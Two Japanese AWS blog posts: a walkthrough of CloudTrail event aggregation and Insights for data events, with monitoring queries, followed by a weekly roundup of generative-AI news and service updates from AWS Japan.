AWS CloudTrail は、AWS アカウントの API 呼び出しとイベントを記録し、ガバナンス、コンプライアンス、運用上のトラブルシューティングのための監査証跡を提供します。お客様は CloudTrail でデータイベントを有効にすることで、リソースレベルの操作に対するより深い可視性を得ることもできます。これには、 Amazon S3 のオブジェクトレベル操作（GetObject/PutObject など）や AWS Lambda 関数の呼び出しが含まれます。データイベントは、不正アクセスの検出、セキュリティインシデントの調査、およびデータプレーンに関する詳細なアクティビティログを必要とするコンプライアンス要件の充足に役立ちます。 データイベントは、AWS インフラストラクチャにおける重要な監視ポイントになります。Amazon S3 オブジェクトへのアクセス、Amazon DynamoDB の操作、AWS Lambda 関数の呼び出しのいずれにおいても、これらのイベントを理解することはセキュリティ、コンプライアンス、運用の優位性にとって不可欠です。しかし、これらのイベントは膨大な量のデータを生成する可能性があり、ダウンストリームワークフローのコストとストレージ要件の増大を招く恐れがあります。組織はこの点に関して難しい課題に直面することがよくあります：多くの組織は、ダウンストリームシステムに送信されるデータ量を削減することが困難であったり、データイベントの異常を特定したり、異常が発生した際に迅速に対応することに苦労しています。これらの課題は、不必要なコスト負担を生み出し、トラブルシューティングの取り組みを遅らせ、潜在的なセキュリティリスクを放置してしまう可能性をもたらします。 本日、データイベントの監視と対応方法を変革する AWS CloudTrail の強力な新機能を 2 つご紹介できることを嬉しく思います：CloudTrail データイベント用の イベント集約 と Insights です。各機能は、お客様のそれぞれのニーズに対応します。イベント集約は、ダウンストリームワークフローのデータ量を最適化し、API アクティビティの変化パターンを特定しやすくします。そして CloudTrail Insights は、データイベントの異常を特定し、セキュリティ監視を強化するのに役立ちます。インフラストラクチャコストの最適化、コンプライアンス要件の充足、セキュリティインシデントの調査といった目的に対して、これらの新機能は、大量のログデータでチームを圧倒することなく、適切なソリューションを提供します。 この記事では、これらの新機能がどのように機能するかを紹介し、データイベントを分析して実用的なインサイトを作成する方法を説明します。 前提条件 このウォークスルーには、データイベントが有効になっている既存の CloudTrail 証跡が必要です。新しい証跡を作成する際に、集約イベントと Insights イベントを直接有効にすることもできます。また、これら 2 つの新機能は CloudTrail の追加コストが発生します。料金の詳細については、 AWS CloudTrail の料金 をご覧ください。 注意： イベント集約とデータイベント用インサイトを使用するには、証跡でデータイベントを有効にする必要があります。 イベント集約 データイベント用の CloudTrail イベント集約の設定 CloudTrail イベント集約は、データイベントを 5 分間のサマリーに統合し、アクセス頻度、エラー率、最も頻繁に使用された API アクションなどの主要なトレンドに対する可視性を提供します。この要約アプローチは、セキュリティ監視、運用監視にとって重要なインサイトを維持しながら、ダウンストリームの分析システムに送信されるデータ量を大幅に削減します。 このサンプルシナリオでは、データイベントを有効にしている既存の証跡に対して集約を有効化する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベント用の 証跡 を選択します。 Aggregated events で、 編集 を選択します。 Aggregation template で、サービスが提供する以下のテンプレートから任意のものを選択して、データイベントを集約できます。 API Activity ：API 呼び出しのデータイベントに関して、5 分単位のサマリーを取得します。このテンプレートを使用することで、頻度、呼び出し元、ソースを含む API の使用パターンを理解できます。 Resource Access ：AWS リソースのアクティビティパターンを取得します。このテンプレートを使用することで、AWS リソースがどのようにアクセスされているか、5 分間のウィンドウで何回アクセスされているか、誰がリソースにアクセスしているか、どのようなアクションが実行されているかを理解できます。 User Actions ：API 呼び出しを行う IAM プリンシパルに基づいたアクティビティパターンを取得します。 図 1：AWS CloudTrail 集約イベント 変更の保存 を選択します。 CloudTrail は証跡に設定されているリソースに関して、全てのデータイベントの集約を開始します。（ 補足： この機能は、新しい証跡を作成する際にも設定できます）。 CloudTrail 集約イベントの分析 集約イベントは、証跡に設定した S3 バケット内の CloudTrail-Aggregated フォルダに配信されます。その後、 Amazon Athena を使用して S3 バケットからこれらのイベントをクエリしたり、CloudTrail イベントを CloudWatch Logs に配信している場合は CloudWatch Logs Insights を使用することもできます。 CloudWatch Logs Insights を使用して、API アクティビティの集約イベントをクエリし、5 分間の API アクティビティの集約カウントを表示する方法を見てみましょう。次に、全体的なアクティビティに寄与したユーザー ID とリソースを表示します。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 Logs Insights を選択します。 Query definition セクションで、 SQL を選択します。 以下のクエリをコピーして、エディタウィンドウに貼り付けます。（注意： [Log Group] を CloudTrail 用のロググループ名に置き換える必要があります）。 SQL クエリ： SELECT accountId, awsRegion, `summary.primaryDimension.dimension` as Dimension, `timeWindow.windowStart` as `Start Time`, `timeWindow.windowEnd` as `End Time`,`summary.details.3.statistics.0.name` as sourceIpAddress, `summary.primaryDimension.statistics.0.name` as eventName, `summary.primaryDimension.statistics.0.value` as Count, `summary.details.1.statistics.0.name` as userIdentity, `summary.details.0.statistics.0.name` as resource, `summary.details.0.statistics.0.value` as `Resource Count` FROM `[Log Group]` Where `eventCategory` = 'Aggregated' and `summary.primaryDimension.dimension` = 'eventName' ORDER BY `timeWindow.windowStart`, `timeWindow.windowEnd` DESC; クエリの実行 をクリックすると、結果が表示されます。 図 2： CloudWatch Logs Insights のクエリ結果 クエリ結果には、集約イベントの各期間で実行された API アクションと全体のカウントが表示されます。また、API アクティビティの全体カウントに寄与したユーザーとリソースに関して、追加の統計情報も表示されます。さらに、追加の分析のために Resource Access および User Access 集約テンプレートに関連するイベントに対して、同じ要領でクエリを実行することもできます。 サブスクリプションフィルターによる集約イベントのダウンストリームへの送信 イベント集約は、データイベントを 5 分間のサマリーに統合し、全体のカウントを提供するとともに、イベント集約中にキャプチャされた全体カウントに寄与したユーザー ID、API アクティビティ、またはリソースに関する主要な統計情報を表示します。イベント集約レコードのフィールドに関する詳細は、 集約イベントの CloudTrail レコードの内容 のドキュメントを参照してください。イベント集約がデータイベントと比較して配信するイベント量を削減している例を以下に示します。 図 3：CloudTrail におけるデータイベント数と集約イベントの総数の比較 CloudTrail ログに対してサブスクリプションフィルターを作成し、CloudWatch Logs から Kinesis Data Streams、Amazon Data Firehose、Lambda 関数、または Amazon OpenSearch Service などの宛先にデータイベントではなく集約イベントを送信することで、ダウンストリームのシステムに送信されるデータ量を削減できます。 CloudTrail の管理イベントと集約イベントのみを送信するサブスクリプションフィルターの設定方法を見てみましょう。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 ロググループ を選択します。 CloudTrail に使用されているロググループを選択します。 サブスクリプションフィルター タブを選択します。 作成 を選択し、Amazon Kinesis Data Streams、AWS Lambda、Amazon Data Firehose、または Amazon OpenSearch Service のいずれかを選択します。 次に、サブスクリプションフィルターに以下のログ形式とフィルターパターンを使用します。 ログの形式 : JSON サブスクリプションフィルターのパターン：  { ($.eventCategory = “Management”) || ($.eventCategory = “Aggregated”) } 図 4：CloudWatch サブスクリプションフィルター データイベントのインサイト データイベントに対する CloudTrail Insights の設定 AWS CloudTrail Insights は、CloudTrail イベントを分析することで、AWS アカウント内の異常な API アクティビティのパターンを自動的に検出する高度な機能です。以前は管理イベントのみが対象でしたが、現在はデータイベントに対しても、アカウントの通常時と大きく異なる使用パターンを識別できるようになりました。機能を有効化すると、CloudTrail Insights は API コールレートとエラーレートを監視し、リソースプロビジョニングの突然の急増、アクセスパターンやエラーレートなどに関する異常を検出したときに Insights イベントを生成します。 このサンプルシナリオでは、既存の CloudTrail 証跡に対してデータイベント用の Insights イベントを設定する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベントの 証跡 を選択します。 Insights イベント の 編集 を選択します。 Data events Insights types で、以下のオプションを選択できます。 API コールレートインサイト – 1 分あたりに発生するデータ API 呼び出しの数が API コールレートのベースラインから逸脱したときにインサイトを生成します。書き込み操作に関するデータ API 呼び出しのみを計測します。 API エラーレートインサイト – 失敗してエラーを返したデータ API 呼び出しの数がエラーレートのベースラインから逸脱したときにインサイトを生成します。読み取りと書き込みの両方のデータ API 呼び出しを計測します。 図 5：データイベントに対する Insights イベントの設定 Insights イベントを有効にすると、CloudTrail はまず通常のアクティビティパターンのベースラインを確立する必要があり、最初の Insights イベントが配信されるまでに最大 36 時間かかることがあります。また、Insights イベントを無効にしてから再度有効にした場合や、証跡のログ記録を停止してから再開した場合も、同様に Insights イベントの配信が再開されるまでに最大 36 時間かかる可能性があります。 データイベントに対する CloudTrail Insights の分析 CloudTrail Insights イベントは、標準の CloudTrail イベントとは異なり、CloudTrail がアカウントの通常の API アクティビティのパターンからの逸脱を検知した場合にのみ生成されます。コンソールを通じてインサイトイベントを表示する方法を見てみましょう： CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 Insights を選択します。 Data events タブを選択して、インサイトイベントのリストを表示します。 リストから Insights イベントを選択して、詳細を表示します。 図 6：CloudTrail Insights の Insights イベントの一覧 Insights イベントの詳細ページには、異常なアクティビティのタイムラインのグラフが表示されます。 図 7：Insights イベントの詳細 さらに、CloudWatch メトリクスフィルターや Event Bridge ルールを使用して、特定のインサイトパターンに基づいてアラームと通知を設定できます。設定方法の詳細については、ブログ記事 Leveraging AWS CloudTrail Insights for Proactive API Monitoring and Cost Optimization および Analyzing AWS CloudTrail in Amazon CloudWatch をご覧ください。 クリーンアップ 追加料金の発生を防ぐため、このウォークスルー中に作成した CloudTrail Insights と集約イベントの設定を削除してください。 まとめ CloudTrail イベント集約とデータイベントの Insights は、さまざまなお客様のニーズに対応する強力な新機能を提供します。CloudTrail 集約イベントは、CloudTrail のデータをダウンストリームワークフローに送信するお客様向けのソリューションを提供し、必要な可視性を維持しながらデータ量と関連コストの削減を支援します。CloudTrail Insights は、異常やパターンを明確に特定するために必要なコンテキストを提供し、セキュリティチームと運用チームが手動分析なしで異常なアクティビティを検出できるよう支援します。この記事では、データ処理パイプラインを最適化する CloudTrail イベント集約の設定方法と、異常なアクティビティパターンを自動的に検出し、CloudWatch メトリクスフィルターを使用してアラートを作成するためのデータイベント用 CloudTrail Insights の設定方法を説明しました。これらの新しい CloudTrail の機能が、セキュリティ体制の強化やコストの最適化にどのように役立つか詳しく知るには、 AWS CloudTrail ドキュメント をご覧ください。 本ブログは Solutions Architect の 加藤 が翻訳しました。原文は こちら です。

みなさん、こんにちは。AWS ソリューションアーキテクトの木村です。 週末は千葉県のキャンプ場で綺麗な夜空を見て気分をリフレッシュし、きたる re:Invent 2025 に備えていました。 そう、今週はついに re:Invent 2025 ですね！どんな発表があるのか私自身もとても楽しみです！ 毎年おなじみAWS Japanから提供する re:invent 速報を今年も開催いたします。ぜひ こちらのページ より事前登録をお願いいたします。 先日 2つの新しいプランを追加した「 AWS ジャパン生成 AI 実用化推進プログラム 」も非常に多くの申し込みをいただいています。引き続き募集中ですのでよろしくお願いします。 それでは、11 月 24 日週の生成 AI with AWS界隈のニュースを見ていきましょう。すでに多くの update が出ているためカテゴリーに分けて記載しています。 さまざまなニュース お客様事例・実践レポート AWS生成AI国内事例ブログ「東京海上日動システムズ株式会社様の AWS 生成 AI 事例：全社生成 AI 実行基盤とエンタープライズ RAG システムの構築」 東京海上日動システムズ様における全社向け生成 AI 実行基盤の構築事例を紹介しています。マルチアカウント構成による基盤設計の考え方や、RAG システムにおける技術選定と実装の工夫、コスト最適化の取り組みなど、企業での生成 AI 活用を検討される際の参考となる内容です。 AWS生成AI国内事例ブログ「グラフデータを使用した Network Digital Twin と Agentic AI を活用した被疑箇所の特定」 NTTドコモ様とAWSは、通信ネットワークの複雑な障害における根本原因分析を革新するため、Amazon NeptuneグラフデータベースによるNetwork Digital TwinとAgentic AI（Strands Agents + Amazon Bedrock AgentCore）を組み合わせたソリューションを開発しました。従来の相関関係ベースのアプローチから因果関係を捉えるアプローチへと転換し、ネットワークトポロジー、アラーム、KPIをリアルタイムにグラフ構造化したネットワークナレッジレイヤーと、4つのRunbookデザインパターン（基本的なグラフ分析、既知パターンマッチ、異常検知融合、予測値からの乖離検出）によるAgentic AIワークフローを実装しています。NTTドコモの商用ネットワークでの検証では、トランスポートネットワークおよび無線アクセスネットワークにおける複雑な障害ケースで15秒のMTTD（平均検知時間）を実現し、従来の数時間かかっていた根本原因特定プロセスを短縮しました。詳細なアーキテクチャと4つのRunbookパターンの実装方法をブログでチェックしてみてください。 ブログ記事「株式会社 LIFULL 様の AI-DLC Unicorn Gym 実践レポート: 組織的な AI 活用による開発生産性向上」 LIFULL 様とAWSの共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えしています。LIFULL様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DL Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えしています。 Kiroweeeeeeek in Japan Day6 – Amazon Q Developer CLI から Kiro CLI へ : 知っておくべき変更点 Amazon Q Developer CLIが Kiro CLI へと進化し正式リリースされました。GoogleやGitHubアカウントでのログインが可能になったほか、開発効率を大幅に向上させる新機能が追加されています。ブログでは、Kiro の一般提供で利用可能になった Kiro CLI に焦点を当て、「Amazon Q Developer CLI から Kiro CLI で何が変わったの？」という疑問をお持ちの方へ変更点や新機能を紹介しています。 Day7 – イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。Big Picture を使ってサブドメイン間の関係性を整理したり、業務内容をコードに落とし込むための設計に活用したりと、業務分析から設計まで幅広く役立ちます。しかし、イベントストーミングで得られた成果物を「どこから実装に落とし込むのか」「どうテストするのか」といった部分は、開発者がつまずきやすいポイントではないでしょうか。ブログでは、Kiro の Spec 機能を活用して、イベントストーミングの成果物を要件定義・設計・実装タスクへと変換していくプロセスを紹介しています。 Day8 – Kiro における負債にならない Spec ファイルの扱い方 Kiro の Spec ファイルは「仕様駆動開発」を構成する要素です。Spec ファイルにより仕様を起点として設計・実装を進めることができ、仕様と実装の同期を保ちながら開発を進めることができます。このように Spec ファイルは Kiro の中核をなす要素なのですが、適切に扱わないと負債になってしまう可能性があります。ブログでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫を紹介していま。 Day9 – AWS Japan の新卒が Kiro でマネコン上の操作を支援する Chrome 拡張機能をチーム開発してみた！ Kiroは個人開発に強いツールという印象があるかもしれませんが、実はチーム開発でも十分に力を発揮できます。本記事では、AWS Japanの新卒メンバー4名が約2ヶ月でAWSマネジメントコンソールの操作を支援するChrome拡張機能を開発した実践例を通じて、ステアリング機能によるコーディング規約の統一、MVP思考でのSpec分割による適切なタスク粒度の維持、そしてバージョン情報を含めた技術選定の明確化など、チーム開発で必要な具体的なノウハウを詳しく解説しています。 Day10 – スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー。新時代の開発パートナーシップ設計 AI 駆動開発の新常識。Kiroによる開発速度の飛躍的向上は、同時にコードレビューの負荷増大という課題をもたらします。ブログでは、GitLab Duo Self-Hosted（Amazon Bedrock活用）とKiroを組み合わせることで、この課題を解決する新しいワークフローを提案しています。発注元と開発が分離している開発現場で、スピードと品質を両立させる持続可能なパートナーシップモデルを知りたい方は、ぜひチェックしてください。 Kiro をはじめる第一歩：あなたに合った学習パスを見つける 「Kiroweeeeeeek in Japan」の最終号となるこのブログでは、12日間で公開された全10個のコンテンツを振り返りながら、読者の状況や関心に合わせた学習パスをガイドします。「Kiroを初めて使う人」「Amazon Q Developerから移行したい人」「組織での導入を検討している人」「実践的な使い方を知りたい人」の4つのペルソナ別に、どのコンテンツから読み始めるべきかを紹介しています。これからKiroを始める方、より深く活用したい方は、ぜひ本記事で自分に最適な学習パスを見つけて、新しい開発の旅を始めてください。 その他のKiro関連 ブログ記事「Kiro における Opus 4.5 をご紹介」 KiroでAnthropicの最新かつ最も高性能なモデルClaude Opus 4.5のサポートが開始されました。Kiro IDEとKiro CLIで利用可能なこの新しいモデルの詳細や、クレジット倍率などの情報について、ぜひブログををチェックしてください。 ブログ記事「Kiro クレジットをより有効活用する方法」 KiroのAutoエージェントが効率化され、高品質を維持しながらクレジット使用量を削減できるようになりました。新バージョンのAutoでは、日常的な一般的なリクエストでクレジット使用量が21%削減され、最も複雑で要求の厳しいリクエストでは36%もの削減を実現しています。まだAutoを試していない方は今が始める絶好のタイミングですので、ぜひブログで詳細をチェックしてみてください。 ブログ記事・開催報告 ブログ記事「第 5 回 AWS ジャパン 生成 AI Frontier Meetup ～学びと繋がりの場～【開催報告】」 2025年11月17日に開催された第5回生成AI Frontier Meetupでは、累計250社超を支援する「生成AI実用化推進プログラム」の参加企業や基盤モデル開発者が一堂に会し、最新の取り組みを共有しました。生成AIの社会実装に向けた具体的な学びと参加者同士の交流が活発に行われた有意義なイベントの開催報告を是非チェックしてみてください。 ブログ記事「AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア」 Amazon BedrockにPriority、Standard、Flexの3つのサービスティアが導入され、ワークロードの特性に応じた柔軟なコスト最適化が可能になりました。Priorityティアは他のティアよりも最大25%優れたOTPS (1 秒あたりの出力トークン数) レイテンシーを実現し、カスタマーサービスチャットやリアルタイム翻訳などミッションクリティカルなアプリケーションに最適で、Standardティアはコンテンツ生成やテキスト分析などの日常的なAIタスクに通常料金で一貫したパフォーマンスを提供し、Flexティアはモデル評価やコンテンツ要約、エージェンティックワークフローなど長いレイテンシーに対応できるワークロードに低料金で優れたコスト効率を実現します。APIコールごとにティアを選択できるため、即時応答が必要なワークロードと段階的処理が可能なワークロードを識別して最適化することで、パフォーマンス要件を満たしながら支出を効果的に管理できますので、ぜひ本記事をチェックしてください。 ブログ記事「オープンウェイトモデル（ gpt-oss ）の日本語精度は？ – AWS パートナー アクロクエストによる徹底検証」 2025年8月にAmazon Bedrock上で利用可能になったOpenAIのオープンウェイトモデル「gpt-oss」」の日本語能力を、AWSパートナーのアクロクエストテクノロジー様に検証いただきました。XL-Sum（要約）、JEMHopQA（論理的推論）、JSQuAD（RAG/文章理解）の3つのデータセットで検証しClaude Sonnet 4.5、Claude Haiku 3.5/4.5、Llama 4 Scout 17B-16Eとの比較をしています。モデル選定に役立つ指針になっていますので是非チェックしてみてください。 ブログ記事「Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする」 Amazon SageMaker Catalogに組織全体でのデータ発見性を向上させる2つの新機能が追加されました。1つ目の「列レベルのメタデータフォームとリッチテキスト説明」では、個々の列に対してカスタムメタデータフォームを作成し、マークダウン対応のリッチテキストで包括的なデータ文書化が可能になります。2つ目の「アセット発行時の用語集メタデータルール適用」では、データ作成者が発行前に組織の用語集で承認されたビジネス用語を使用してアセットを分類することを必須化でき、一貫したメタデータ標準を促進してコンプライアンス強化と監査準備を向上させます。具体的な設定方法や活用シーンについてブログでチェックしてみてください。 ブログ記事「Amazon SageMaker Unified Studio の新しいワンクリックオンボーディングと組み込み AI エージェントを含むノートブック」 Amazon SageMaker Unified Studioに既存のAWSデータセットへの迅速なアクセスを実現する3つの新機能が追加されました。「ワンクリックオンボーディング」では既存のIAMロールと許可を使用してAWS Glue データカタログ、AWS Lake Formation、Amazon S3のデータ許可を備えたプロジェクトを自動作成します。「直接統合」ではAmazon SageMaker、Amazon Athena、Amazon Redshift、Amazon S3 Tablesのコンソールから直接起動して分析とAIワークロードへの迅速なパスを提供します。「組み込みAIエージェントを含むノートブック」では、Amazon SageMaker Data Agentが自然言語プロンプトからSQL、Python、Sparkコードを生成してデータエンジニア・アナリスト・データサイエンティストの開発を加速し、Amazon Athena Spark、AWS Glue Spark、Amazon MWAAなどのサーバーレスコンピューティングも自動作成されてプロビジョニング不要でジャストインタイムのリソース利用とコスト削減を実現します。具体的なセットアップ手順やAIエージェントの活用例をブログチェックしてみてください。 サービスアップデート 生成AIを組み込んだ構築済みアプリケーション Amazon Quick Suite Embedded Chat が利用可能になりました Amazon Quick Suite Embedded Chat の一般提供を開始しました。これまで別々のツールで対応していた構造化データと非構造化データの検索を、一つの会話型 AI で統合できるようになります。CRM や分析ポータルなどの既存アプリケーションに簡単に埋め込み可能で、ユーザーは作業環境を離れることなく KPI の確認からファイル検索、Slack 送信まで実行できます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能で追加料金はありません。詳細は こちらの Blog 記事 をご参照ください。 Amazon Quick Suite が Quick Flows のスケジューリング機能を導入 Amazon Quick Flows でスケジューリング機能が利用可能になりました。これまで手動で実行していたワークフローを、指定した時間や間隔で自動実行できるようになります。日次、週次、月次またはカスタム間隔で設定でき、定期レポートの生成やタスクサマリー作成、会議資料の準備などの繰り返し業務を効率化できます。バージニア北部、オレゴン、アイルランドリージョンで利用でき、 Quick Flows の標準料金以外の追加費用はかかりません。詳細は こちらのドキュメント をご参照ください。 Amazon Quick Research に信頼できるサードパーティ業界インテリジェンスが追加 Amazon Quick Research で、サードパーティの業界データにアクセスできるようになりました。S&P Global や FactSet、IDC などの専門データプロバイダーのデータを、企業の内部データやリアルタイム Web 検索と組み合わせて分析できます。これまで複数のプラットフォームを行き来する必要があった作業が、一つのワークスペースで完結するため、金融アナリストは投資判断を、エネルギーチームは取引戦略を、営業チームはトレンド分析を効率的に行えます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能です。 詳細はこちらのドキュメント をご参照ください。 アプリケーション開発のためのツール Claude Opus 4.5 が Amazon Bedrock で利用可能になりました Amazon Bedrock で Claude Opus 4.5 が利用可能になりました。Anthropic の最新モデルで、従来の Opus レベルの高性能を 1/3 のコストで実現できます。プロフェショナルなソフトウェア開発タスクで最先端の性能を発揮し、通常複数日かかるチーム開発を数時間に短縮することが可能になります。コーディングだけでなく、文書やスプレッドシート、プレゼンテーション作成でも威力を発揮し、金融などの精度重視の業界に最適です。新機能として tool search と tool use examples が追加され、複雑なタスクを正確に実行できるようになりました。詳細は こちらの Blog 記事 をご参照ください。 Amazon Bedrock が Reserved Service Tier を導入 Amazon Bedrock で新しい Reserved Service tier が提供開始されました。予測可能なパフォーマンスと保証された tokens-per-minute 容量を提供し、ミッションクリティカルなアプリケーションのサービスレベルを安定させることができます。入力と出力の token 容量を個別に調整できるため、要約タスク (多くの入力、少ない出力) やコンテンツ生成 (少ない入力、多くの出力) など、非対称な token 使用パターンに最適化できます。容量不足時は自動的に Standard tier にオーバーフローし、運用を継続します。現在 Anthropic Claude Sonnet 4.5 で利用可能で、1 ヶ月または 3 ヶ月の期間で予約できます。詳細は こちらのドキュメント をご参照ください。 基盤モデルのトレーニングと推論のためのインフラストラクチャー Amazon SageMaker HyperPod が生成 AI タスク向けに NVIDIA Multi-Instance GPU (MIG) をサポート開始 Amazon SageMaker HyperPod で NVIDIA Multi-Instance GPU (MIG) 技術がサポートされました。この機能により、1 つの GPU を複数の独立した GPU に分割して、複数の生成 AI タスクを同時実行できます。従来は GPU 全体を 1 つのタスクで占有する必要がありましたが、今回のアップデートで小さなタスクでも効率的にリソースを活用できるようになりました。データサイエンティストは軽量な推論タスクやノートブック実行時の待機時間を削減でき、開発スピードが向上します。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod が Spot インスタンスをサポート開始 Amazon SageMaker HyperPod で Spot Instances がサポートされ、GPU 計算コストを最大 90% 削減できるようになりました。Spot Instances は AWS の余剰 EC2 キャパシティを安価で利用する仕組みで、大規模な AI ワークロードのコスト最適化に効果的です。オンデマンドインスタンスと組み合わせることで、コスト削減と可用性のバランスを取れます。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker AI Inference が双方向ストリーミングをサポート開始 Amazon SageMaker AI Inference で双方向ストリーミング機能が提供開始されました。例えば音声をリアルタイムでテキストに変換し、ストリーミングで文字起こし結果を取得することが可能になります。従来は複雑な WebSocket 実装が必要でしたが、新しい Bidirectional Stream API を使えば簡単に音声エージェントを構築できます。チャットボットや音声アシスタントの開発において、遅延を最小限に抑えた自然な会話体験を実現可能です。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始しました。EAGLE (Extrapolation Algorithm for Greater Language-model Efficiency) speculative decodingとは、複数のトークンを並列で生成および検証することで推論スループットを最大2.5倍向上させる技術です。AI アプリケーションの応答時間が改善され、出力品質を維持しながら高速な推論が可能です。東京リージョンを含む 7 つのリージョンで利用できます。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が推論向けの Flexible Training Plans 容量をサポート開始 Amazon SageMaker AI の Flexible Training Plans (FTP) が推論エンドポイントに対応しました。FTP は GPU 容量を事前に予約できるサービスで、これまでは学習のみでしたが推論処理でも利用可能になりました。必要なインスタンスタイプと期間を指定して予約すれば、SageMaker AI が自動でエンドポイントを起動してくれるため、インフラ管理の手間が不要です。モデル評価や本番運用のピーク時に確実に GPU を確保でき、ML 開発サイクルを計画的に進められます。バージニア北部、オレゴン、オハイオリージョンで利用可能です。詳細は こちらの API リファレンス をご参照ください。 Amazon SageMaker HyperPod がプログラマティックなノード再起動と交換をサポート Amazon SageMaker HyperPod で、クラスターノードの再起動・交換を行う新しい API が利用可能になりました。BatchRebootClusterNodes と BatchReplaceClusterNodes API により、応答しなくなったノードや劣化したノードをプログラム的に復旧できます。従来は手動作業が必要でしたが、最大 25 インスタンスまでのバッチ処理で効率的な運用が実現します。機械学習ワークロードの実行中にノード障害が発生した際も、迅速な復旧によりダウンタイムを最小化できます。現在オハイオ、ムンバイ、東京リージョンで利用可能です。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod がカスタム Kubernetes ラベルと taint をサポート Amazon SageMaker HyperPod でカスタム Kubernetes ラベルと taint がサポート開始されました。これにより GPU リソースの効率的な制御とワークロード配置が可能になります。従来は kubectl を使った手動設定と運用が必要でしたが、今回のアップデートで CreateCluster や UpdateCluster API を通じて自動管理できるようになりました。インスタンスグループごとに最大 50 個のラベルと 50 個の taint を設定でき、高コストな GPU リソースを AI トレーニング専用に確保したり、デバイスプラグインとの統合も簡単になります。詳細は こちらのドキュメント をご参照ください。 SageMaker HyperPod が Managed tiered KV cache とインテリジェントルーティングをサポート Amazon SageMaker HyperPod で Managed Tiered KV Cache と Intelligent Routing が利用可能になりました。大規模言語モデル (LLM) の推論で、長い文書処理や会話の文脈維持時のパフォーマンスを最適化できます。従来は新しいトークン生成のたびに全ての過去のトークンに対して計算が必要でしたが、計算済みの値をキャッシュして再利用することで最大 40 % のレイテンシ削減と 25 % のコスト削減を実現します。詳細は こちらのユーザーガイド をご参照ください。 MCP 新しい Amazon SageMaker AI MCP Server で Amazon SageMaker HyperPod クラスターを管理 Amazon SageMaker AI MCP Server で HyperPod クラスターの設定・管理機能が追加されました。AI コーディングアシスタントが AI/ML クラスターを自動構築・運用できるようになり、データサイエンティストがインフラの専門知識なしでモデル訓練環境を構築可能です。CloudFormation テンプレートによる最適化で高性能な分散訓練・推論ワークロードに対応し、クラスター管理やスケーリング、メンテナンスも自動化されます。詳細は こちらのドキュメント をご参照ください。 AWS Knowledge MCP Server がトピックベース検索をサポート AWS Knowledge MCP Server がトピックベース検索に対応し、AI エージェントや開発者が AWS ドキュメントをより効率的に検索できるようになりました。従来は一般的な検索のみでしたが、今回 Troubleshooting や AWS Amplify、CDK などの特定分野に絞った検索が可能になり、関連性の高い情報を素早く取得できます。例えばエラー解決時にはトラブルシューティングドキュメントのみを検索し、フロントエンド開発では Amplify 関連情報だけを対象にできるため、開発効率が大幅に向上します。詳細は こちらのドキュメント をご参照ください。 AWS API MCP Server が AWS Marketplace で利用可能になりました AWS API MCP Server が AWS Marketplace で利用開始されました。従来はRemote MCP のみでしたが、お客様独自のインフラストラクチャ (Amazon Bedrock AgentCore) に MCP サーバーをデプロイできるようになりました。企業レベルのセキュリティとスケーラビリティを実現します。認証設定や IAM ポリシーの実装が可能で、コンテナ管理も簡素化されます。詳細は こちら をご参照ください。 その他 Amazon OpenSearch Service が Agentic Search を導入 Amazon OpenSearch Service で Agentic Search が開始されました。これまで複雑な検索構文を覚える必要がありましたが、今回のアップデートで「3万ドル以下の赤い車を探して」といった自然言語での検索が可能になりました。AI エージェントがユーザーの意図を理解し、最適な検索戦略を自動選択して結果を返してくれます。技術的な専門知識がなくても直感的にデータ検索ができるため、業務効率が大幅に向上します。OpenSearch Service version 3.3 以降で利用可能です。詳細は こちらの技術文書 をご参照ください。 Amazon Lex が自然言語理解の主要オプションとして LLM をサポート開始 Amazon Lex で LLM (大規模言語モデル) を使った自然言語理解が可能になりました。これまでより複雑な会話や曖昧な表現も正確に理解し、スペルミスがあっても適切に処理できます。例えば「フライトのことで助けが欲しい」という曖昧なリクエストに対して、ステータス確認・アップグレード・変更のどれを求めているか自動で確認してくれます。音声・チャットボット両方で利用でき、より自然な顧客対応が実現します。詳細は こちらのドキュメント をご参照ください。 それではまた来週お会いしましょう！来週は re:Invent 2025 特別号をお送りします！ 著者について 木村 直登(Naoto Kimura) AWS Japan のソリューションアーキテクトとして、製造業のお客様に対しクラウド活用の技術支援を行なっています。最近は AI Agent と毎日戯れており、AI Agent 無しでは生きていけなくなっています。好きなうどんは’かけ’です。 野間 愛一郎 (Aiichiro Noma) AWS Japan のソリューションアーキテクトとして、製造業のお客様を中心に日々クラウド活用の技術支援を行なっています。データベースやデータ分析など、データを扱う領域が好きです。最近、ハーブを育てるのにハマっています。

